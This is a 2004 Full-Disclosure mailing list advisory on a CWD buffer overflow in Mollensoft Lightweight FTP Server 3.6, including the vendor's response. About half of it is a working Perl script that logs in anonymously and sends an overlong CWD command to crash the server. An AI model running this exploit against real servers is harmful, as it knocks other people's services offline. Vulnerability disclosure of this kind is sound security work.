[Full-Disclosure] Mollensoft Lightweight FTP Server CWD Buffer Overflow
From: Aviram Jenik (aviram_at_beyondsecurity.com)
Date: 06/01/04
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To: full-disclosure@lists.netsys.com Date: Tue, 1 Jun 2004 20:12:55 +0300
Mollensoft Lightweight FTP Server CWD Buffer Overflow
------------------------------------------------------------------------
Article reference:
http://www.securiteam.com/windowsntfocus/5RP0L15CUM.html
SUMMARY
STORM has discovered a security vulnerability in
<http://www.mollensoft.com/product2.htm> Mollensoft Lightweight FTP Server.
Mollensoft Lightweight FTP Server's support for the CWD command incorrectly
verifies that the buffer the CWD command doesn't overflow any of its internal
buffers. This insufficient verification allows an authenticated (anonymous or
otherwise) user to cause the FTP server to crash while trying to read an
arbitrary memory location by issuing a malformed CWD command.
DETAILS
Vulnerable Systems:
* Mollensoft Lightweight FTP Server version 3.6
Vendor Response:
BigAl (author) responded with the following:
I wrote this particular app with Visual Basic and used an FTP ActiveX COM
component and I am waiting for the component creator to get back to me
regarding the fix. Unfortunately I cannot snip off any of the commands, as
access to the command length is not available from the VB component using
straight VB Code. I am working on moving to .Net so hopefully I can have a
new FTP server out by fall time frame which is truly multi-threaded and
totally coded by me.
Exploit:
#!/usr/bin/perl
#
# Mollensoft FTP Server CMD Buffer Overflow
#
# Orkut users? Come join the SecuriTeam community
# http://www.orkut.com/Community.aspx?cmm=44441
use strict;
use IO::Socket::INET;
usage() unless (@ARGV == 2);
my $host = shift(@ARGV);
my $port = shift(@ARGV);
# create the socket
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
PeerPort=>$port);
$socket or die "Cannot connect to host!\n";
$socket->autoflush(1);
# receive greeting
my $repcode = "220 ";
my $response = recv_reply($socket, $repcode);
print $response;
# send USER command
#my $username = "%00" x 2041;
my $username = "anonymous";
print "USER $username\r\n";
print $socket "USER $username\r\n";
select(undef, undef, undef, 0.002); # sleep of 2 milliseconds
# send PASS command
my $password = "a\@b.com";
print "PASS $password\r\n";
print $socket "PASS $password\r\n";
my $cmd = "CWD ";
$cmd .= "A" x 224; # Value can range from 224 to 1018
$cmd .= "\r\n";
print "length: ".length($cmd)."\n";
print $socket $cmd;
$repcode = "";
recv_reply($socket, $repcode);
close($socket);
exit(0);
sub usage
{
# print usage information
print "\nUsage: Mollensoft_FTP_Server_crash.pl <host> <port>\n
<host> - The host to connect to
<port> - The TCP port which WarFTP is listening on\n\n";
exit(1);
}
sub recv_reply
{
# retrieve any reply
my $socket = shift;
my $repcode = shift;
$socket or die "Can't receive on socket\n";
my $res="";
while(<$socket>)
{
$res .= $_;
if (/$repcode/) { last; }
}
return $res;
}
ADDITIONAL INFORMATION
SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
finding this vulnerability.
Regards,
Aviram Jenik
Beyond Security Ltd.
http://www.BeyondSecurity.com
http://www.SecuriTeam.com
The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf
====================
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kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
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